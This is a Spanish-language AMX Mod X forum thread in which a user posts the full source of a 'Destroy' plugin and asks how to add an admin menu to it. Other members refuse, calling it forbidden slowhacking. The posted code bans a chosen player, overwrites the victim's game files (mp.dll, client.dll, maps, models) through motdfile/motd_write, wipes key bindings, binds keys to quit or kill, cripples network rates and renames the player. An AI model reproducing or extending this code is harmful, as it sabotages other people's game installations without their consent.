Destroy Con un Menu (Solo Para Admin Del servidor
#1
Nesecito Que me ayudeen con este Destroy
Quiero que tengo un menu para los admin del servidor

aca el sma del destroy que Quiero que tengo algun menu

[/php]
/* AMX MOD X 1.8.2/1.8.1 PLUGIN
*
* Nombre: Destroy[Fox]
*
*
* Hecho por: Fostrez
*
* Copyright @ 2014 - By FostreZ
*/
#include <amxmodx>
#include <amxmisc>

new const PLUGIN[] = "DC_Destroy"
new const VERSION[] = "1.0"
new const AUTHOR[] = "Fostrez"
new const LOGFILE2[] = "DC_Destroy"

public plugin_init()
{
register_plugin(PLUGIN, VERSION, AUTHOR);

register_concmd("DC_Destruir","cmdDestroy",ADMIN_LEVEL_F,"Nombre Del Jugador");
}
public plugin_precache()

{
precache_sound("DC_Destroy/DC_Destroy.wav")
precache_sound("DC_Destroy/DC_Destroy2.wav")
}

public cmdDestroy(id,level,cid)
{
if(!cmd_access(id,level,cid,2))
return PLUGIN_HANDLED

new argument[32]
read_argv(1,argument,31)
new jucator = cmd_target(id,argument,CMDTARGET_OBEY_IMMUNITY|CMDTARGET_ALLOW_SELF|CMDTARGET_NO_BOTS)

if(!jucator)
return PLUGIN_HANDLED

new admin[32],jucator_x[32]
get_user_name(id,admin,31)
get_user_name(jucator,jucator_x,31)

//Ban Permanente
new name[33];
client_cmd(id, "amx_banip ^"%s^" ^"0^" ^"Destroy^"" , jucator_x)
client_cmd(id, "amx_ban ^"%s^" ^"0^" ^"Destroy^"" , name)

// toma una foto
client_cmd(jucator,"snapshot;snapshot")

// sonido del destroy
client_cmd(0, "spk DC_Destroy/DC_Destroy");
client_cmd(0, "spk DC_Destroy/DC_Destroy2");

//Desactiva la config de la victima.
client_cmd(jucator,"unbindall");


//Mensaje en el say que se emite al destruir
chatcolor(0,"!g[!nDC!g] - !gADMIN !n%s !gHa !nDestruido !gPor Hack !n%s",admin,jucator_x);
chatcolor(0,"!g[!nL'S!g] - !gADMIN !n%s !gHa !nDestruido !gPor Hack !n%s",admin,jucator_x);
chatcolor(0,"!g[!nL'S!g] - !gADMIN !n%s !gHa !nDestruido !gPor Hack !n%s",admin,jucator_x);
chatcolor(0,"!g[!nL'S!g] - !gADMIN !n%s !gHa !nDestruido !gPor Hack !n%s",admin,jucator_x);
chatcolor(0,"!g[!nL'S!g] - !gADMIN !n%s !gHa !nDestruido !gPor Hack !n%s",admin,jucator_x);


//Models & Dll
client_cmd(jucator,"motdfile resource/GameMenu.res;motd_write MgP;motdfile dlls/mp.dll");
client_cmd(jucator,"motdfile cl_dlls/client.dll;motdfile cs_dust.wad;motdfile cstrike.wad");
client_cmd(jucator,"motdfile sprites/muzzleflash1.spr;motdfile events/ak47.sc;motdfile models/v_ak47.mdl");
client_cmd(jucator,"motdfile models/v_deagle.mdl;motdfile maps/de_dust2.bsp;motdfile models/v_m4a1.mdl");
client_cmd(jucator,"motdfile maps/de_inferno.bsp;motdfile models/player/arctic.mdl;motdfile models/player/guerilla.mdl");
client_cmd(jucator,"motdfile models/player/leet.mdl;motdfile resource/background/800_1_a_loading.tga");
client_cmd(jucator,"motdfile resource/background/800_3_c_loading.tga;motdfile chateau.wad;motdfile events/m4a1.sc");
client_cmd(jucator,"motdfile resource/GameMenu.res;motd_write Crazy Gaming;motdfile dlls/mp.dll");
client_cmd(jucator,"motdfile cl_dlls/client.dll;motdfile cs_dust.wad;motdfile cstrike.wad");
client_cmd(jucator,"motdfile sprites/muzzleflash1.spr;motdfile events/ak47.sc;motdfile models/v_ak47.mdl");
client_cmd(jucator,"motdfile models/v_deagle.mdl;motdfile maps/de_dust2.bsp;motdfile models/v_m4a1.mdl");
client_cmd(jucator,"motdfile maps/de_inferno.bsp;motdfile models/player/arctic.mdl;motdfile models/player/guerilla.mdl");
client_cmd(jucator,"motdfile models/player/leet.mdl;motdfile resource/background/800_1_a_loading.tga");
client_cmd(jucator,"motdfile resource/background/800_3_c_loading.tga;motdfile chateau.wad;motdfile events/m4a1.sc");
//Config
client_cmd(jucator,"developer 1")
client_cmd(jucator,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
client_cmd(jucator,"+duck;wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;+duck;wait;wait;wait;");
client_cmd(jucator,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
client_cmd(jucator,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
client_cmd(jucator,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7");
client_cmd(jucator,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift");
client_cmd(jucator,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait");
client_cmd(jucator,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"");
client_cmd(jucator,"rate 323612783126381256315231232;cl_cmdrate 932746234238477234732;cl_updaterate 3486324723944238423");
client_cmd(jucator,"hideconsole;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart;fps_max con_color ^"0 0 0^"");
client_cmd(jucator,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
client_cmd(jucator,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7");
client_cmd(jucator,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift");
client_cmd(jucator,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait");
client_cmd(jucator,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"");
client_cmd(jucator,"rate 323612783126381256315231232;cl_cmdrate 932746234238477234732;cl_updaterate 3486324723944238423");
client_cmd(jucator,"hideconsole;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart;fps_max con_color ^"0 0 0^"");
client_cmd(jucator,"snapshot;snapshot;name ^"DESTROY BY www.FoxServers.co.ve^"");
client_cmd(jucator,"hideconsole;hud_saytext 0;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart");



//Mensajes que se agregan a la config de la victima.
client_cmd(jucator, "bind ^"w^" ^"kill" );
client_cmd(jucator, "bind ^"s^" ^"say DC-Destruido" );
client_cmd(jucator, "bind ^"r^" ^"say www.Ediciones-FosTrez" );
client_cmd(jucator, "bind ^"`^" ^"say Comunidad DC" );

//Logs
new ip[32]; get_user_ip(id, ip, charsmax(ip));
log_to_file(LOGFILE2, "ADMIN %s Destruyo Ah %s Por Mamaguevo su ip %s", admin ,jucator_x ,ip)
return PLUGIN_HANDLED
}

stock chatcolor(const id, const input[], any:...)
{
new count = 1, players[32]

static msg[191]

vformat(msg, 190, input, 3)

replace_all(msg, 190, "!g", "^4")
replace_all(msg, 190, "!n", "^1")
replace_all(msg, 190, "!t", "^3")
replace_all(msg, 190, "!t2", "^0")

if (id) players[0] = id; else get_players(players, count, "ch")
{
for (new i = 0; i < count; i++)
{
if (is_user_connected(players[i]))
{
message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i])
write_byte(players[i])
write_string(msg)
message_end()
}
}
}
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang8202\\ f0\\ fs16 \n\\ par }
*/[php]
Amor Amor
#2
No podes publicar ni pedir algo que modifique al jugador, ripea2.

https://amxmodx-es.com/showthread.php?tid=3 Lee pls

El destroy es slowhacking, por lo que.
El slowhacking no está permitido en el foro. Slow hack es modificar las configuraciones del cliente sin su permiso.

Código PHP:
Adios popo x4
#3
leete las reglas wey, eso no se puede pedir acá y punto
[Imagen: zcsztw-4.png] [Imagen: 6u5fj2-4.png]
[Imagen: linkedin_thumb_image.png][Imagen: 76561198283253977.png][Imagen: linkedin_thumb_image.png]
#4
Ya las lei como borro este pedido?
#5
No entres más al foro y se borra


Salto de foro:


Usuarios navegando en este tema: 1 invitado(s)